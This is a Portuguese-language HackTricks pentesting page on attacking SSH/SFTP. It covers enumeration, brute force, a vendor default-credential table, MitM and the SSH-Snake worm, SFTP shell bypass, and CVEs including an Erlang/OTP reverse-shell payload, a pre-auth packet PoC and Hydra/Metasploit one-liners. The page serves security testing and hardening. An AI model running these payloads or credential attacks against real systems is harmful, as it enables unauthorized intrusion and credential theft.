22 - Pentesting SSH/SFTP

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

SSH (Secure Shell or Secure Socket Shell) é um protocolo de rede que permite uma conexão segura a um computador através de uma rede insegura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.

Porta padrão: 22

22/tcp open  ssh     syn-ack

Servidores SSH:

  • openSSH – OpenBSD SSH, incluído em BSD, distribuições Linux e no Windows desde o Windows 10
  • Dropbear – implementação de SSH para ambientes com pouca memória e recursos de processador, incluído no OpenWrt
  • PuTTY – implementação de SSH para Windows; o cliente é comumente usado, enquanto o uso do servidor é mais raro
  • CopSSH – implementação do OpenSSH para Windows

Bibliotecas SSH (implementando o lado do servidor):

  • libssh – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em Python, Perl e R; é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH
  • wolfSSH – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados
  • Apache MINA SSHD – a biblioteca Java Apache SSHD é baseada no Apache MINA
  • paramiko – biblioteca Python do protocolo SSHv2

Enumeration

nc -vn <IP> 22

ssh-audit automatizado

ssh-audit é uma ferramenta para auditoria de configuração de servidores e clientes ssh.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Recursos:

  • Suporte a servidores com protocolos SSH1 e SSH2;
  • analisar a configuração do cliente SSH;
  • capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
  • coletar algoritmos de key-exchange, host-key, encryption e message authentication code;
  • exibir informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
  • exibir recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecida);
  • exibir informações de segurança (problemas relacionados, lista de CVEs atribuídos, etc);
  • analisar compatibilidade de versão do SSH com base nas informações de algoritmos;
  • informações históricas do OpenSSH, Dropbear SSH e libssh;
  • funciona em Linux e Windows;
  • sem dependências
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Chave SSH pública do servidor

ssh-keyscan -t rsa <IP> -p <PORT>

Cifras fracas

Detectado por padrão pelo nmap. Você também pode usar sslcan ou sslyze.

Scripts do nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

Em algumas versões do OpenSSH você pode realizar um timing attack para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso:

msf> use scanner/ssh/ssh_enumusers

Brute force

Algumas credenciais ssh comuns here e here e abaixo.

Private Key Brute Force

Se você conhece algumas chaves privadas ssh que possam ser usadas… vamos tentar. Você pode usar o nmap script:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou o módulo auxiliar do MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Ou use ssh-keybrute.py (python3 nativo, leve e com algoritmos legados habilitados): snowdroppe/ssh-keybrute.

Badkeys conhecidos podem ser encontrados aqui:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Chaves SSH fracas / PRNG previsível do Debian

Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser bruteforçado. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: g0tmi1k/debian-ssh.

Você deve procurar aqui para buscar chaves válidas para a máquina alvo.

Kerberos / GSSAPI SSO

Se o servidor SSH alvo suportar GSSAPI (por exemplo, Windows OpenSSH em um controlador de domínio), você pode autenticar usando seu Kerberos TGT em vez de uma senha.

Fluxo de trabalho a partir de um host atacante Linux:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notas:

  • Se você se conectar ao nome errado (por exemplo, host curto, alias, ou ordem incorreta em /etc/hosts), você pode receber: “Server not found in Kerberos database” porque o SPN não corresponde.
  • crackmapexec ssh --kerberos também pode usar seu ccache para autenticação Kerberos.

Credenciais Padrão

FornecedorNomes de usuárioSenhas
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando username e password, você pode tentar realizar um ataque MitM para roubar essas credenciais:

Caminho do ataque:

  • Redirecionamento de tráfego: O atacante desvia o tráfego da vítima para sua máquina, efetivamente interceptando a tentativa de conexão ao servidor SSH.
  • Interceptação e registro: A máquina do atacante age como um proxy, capturando os dados de login do usuário ao fingir ser o servidor SSH legítimo.
  • Execução de comandos e retransmissão: Finalmente, o servidor do atacante registra as credenciais do usuário, encaminha os comandos para o servidor SSH real, executa eles e envia os resultados de volta ao usuário, fazendo o processo parecer contínuo e legítimo.

SSH MITM faz exatamente o que foi descrito acima.

Para capturar e realizar o MitM você pode usar técnicas como ARP spoofing, DNS spoofin ou outras descritas em Network Spoofing attacks.

SSH-Snake

Se você quer atravessar uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então SSH-Snake é o que você precisa.

SSH-Snake realiza as seguintes tarefas automaticamente e de forma recursiva:

  1. No sistema atual, encontra quaisquer chaves privadas SSH,
  2. No sistema atual, encontra quaisquer hosts ou destinos (user@host) nos quais as chaves privadas podem ser aceitas,
  3. Tenta fazer SSH em todos os destinos usando todas as chaves privadas descobertas,
  4. Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado.

É completamente autorreplicante e autopropagador — e completamente fileless.

Misconfigurações

Login como root

É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo de segurança. Desabilitar o login root é uma etapa crítica para proteger o servidor. Acesso não autorizado com privilégios administrativos e ataques de brute force podem ser mitigados fazendo essa alteração.

Para desabilitar o login root no OpenSSH:

  1. Edite o arquivo de config do SSH com: sudoedit /etc/ssh/sshd_config
  2. Altere a configuração de #PermitRootLogin yes para PermitRootLogin no.
  3. Recarregue a configuração usando: sudo systemctl daemon-reload
  4. Reinicie o servidor SSH para aplicar as mudanças: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

Existe um descuido comum em setups de SFTP, onde administradores pretendem que os usuários troquem arquivos sem habilitar shell remoto. Apesar de configurar usuários com shells não interativos (por exemplo, /usr/bin/nologin) e confiná-los a um diretório específico, permanece uma brecha de segurança. Usuários podem contornar essas restrições solicitando a execução de um comando (como /bin/bash) imediatamente após o login, antes do shell não interativo designado tomar efeito. Isso permite execução não autorizada de comandos, minando as medidas de segurança pretendidas.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Aqui está um exemplo de configuração segura de SFTP (/etc/ssh/sshd_config – openSSH) para o usuário noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o start command e desabilitando o acesso TTY, além de desabilitar todo tipo de port forwarding ou tunneling.

SFTP Tunneling

Se você tiver acesso a um servidor SFTP, também pode fazer tunneling do seu tráfego através dele, por exemplo usando o comum port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

O sftp tem o comando “symlink”. Portanto, se você tiver writable rights em alguma pasta, pode criar symlinks de outras pastas/arquivos. Como você provavelmente está preso dentro de um chroot, isso não será especialmente útil para você, mas, se você conseguir access o symlink criado a partir de um no-chroot service (por exemplo, se você conseguir acessar o symlink pela web), você poderia open the symlinked files through the web.

Por exemplo, para criar um symlink de um novo arquivo froot” para “/:

sftp> symlink / froot

Se você conseguir acessar o arquivo “froot” via web, poderá listar a pasta root (“/”) do sistema.

Métodos de autenticação

Em ambientes de alta segurança, é prática comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da simples autenticação por senha. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar publickey na configuração do openSSH e defini-lo como método padrão sem desabilitar password. Assim, usando o modo verboso do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de chegar ao método password, você pode usar a opção PreferredAuthentications para forçar o uso desse método.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estejam autorizados. Usar o verbose mode no cliente pode ajudar a ver a eficácia da configuração.

Arquivos de configuração

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Recent Critical Vulnerabilities (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 removed the async-safe logging guard inside sshd’s SIGALRM handler, reintroducing CVE-2006-5051 and letting unauthenticated attackers corrupt the glibc heap as soon as LoginGraceTime expires. Qualys weaponized the bug for root RCE on 32-bit Linux and noted that 64-bit targets remain brute-forceable with enough grooming attempts, so prioritize hosts that still disclose those versions during banner grabs.

Exploitation is timing-based: hammer the daemon with half-open sessions that never authenticate so the privileged monitor repeatedly hits the vulnerable signal path while you shape allocator state.

Operator tips:

  • Fingerprint builds with ssh -V (remote banner) or ssh -G <target> | grep ^userauths and confirm LoginGraceTime is non-zero.
  • Pressure-test a lab target by spamming short-lived sessions that request no authentication, for example:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Hosts that force LoginGraceTime 0 never touch the buggy code path—expect only a DoS angle by exhausting MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 and 5.6.1 shipped trojanized release tarballs whose build scripts unpack a hidden object during Debian/RPM packaging on x86-64 Linux. The payload abuses glibc’s IFUNC resolver to hook RSA_public_decrypt in sshd (when systemd patches compel liblzma to load) and accepts attacker-signed packets for pre-auth code execution.

Because the malicious logic lives only inside those packaged binaries, offensive validation must inspect what the victim actually installed: check xz --version, rpm -qi xz/dpkg -l xz-utils, compare hashes of /usr/lib*/liblzma.so*, and inspect ldd /usr/sbin/sshd | grep -E "systemd|lzma" to see whether sshd even pulls the compromised dependency. The hook stays dormant unless the process path is /usr/sbin/sshd, so recreating the distro build environment is often required to reproduce the backdoor in a lab.

Authentication State-Machine Bypass (Pre-Auth RCE)

Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.

At a protocol level any SSH message with a message code ≥ 80 (0x50) belongs to the connection layer (RFC 4254) and must only be accepted after successful authentication (RFC 4252). If the server processes one of those messages while still in the SSH_AUTHENTICATION state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.

Generic Exploitation Steps

  1. Estabeleça uma conexão TCP com a porta SSH do alvo (comum 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
  2. Construa um pacote SSH bruto:
  • 4 bytes packet_length (big-endian)
  • 1 byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload que será interpretado pelo tipo de mensagem escolhido
  1. Envie o(s) pacote(s) antes de completar qualquer etapa de autenticação.
  2. Interaja com as APIs do servidor que agora estão expostas pre-auth (execução de comando, port forwarding, acesso ao sistema de arquivos, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

Na prática você precisará realizar (ou pular) a key-exchange de acordo com a implementação do alvo, mas nenhuma autenticação é jamais realizada.


Erlang/OTP sshd (CVE-2025-32433)

  • Versões afetadas: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Causa raiz: the Erlang native SSH daemon does not validate the current state before invoking ssh_connection:handle_msg/2. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the userauth state.
  • Impacto: não autenticada remote code execution (o daemon geralmente roda como root em dispositivos embedded/OT).

Exemplo de payload que gera uma reverse shell vinculada ao attacker-controlled channel:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection pode ser realizada via DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detecção e Mitigação:

  • Inspecione o tráfego SSH: descartar qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação.
  • Atualize o Erlang/OTP para 27.3.3 / 26.2.5.11 / 25.3.2.20 ou mais recente.
  • Restrinja a exposição das portas de gerenciamento (22/2022/830/2222) — especialmente em equipamentos OT.

Outras Implementações Afetadas

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – aceita um SSH_MSG_USERAUTH_SUCCESS não autenticado enviado pelo cliente, efetivamente a falha de lógica inversa.

A lição comum é que qualquer desvio das transições de estado exigidas pelo RFC pode ser fatal; ao revisar ou realizar fuzzing em daemons SSH, preste atenção especial à imposição da máquina de estados.

Referências

Comandos Automáticos do HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks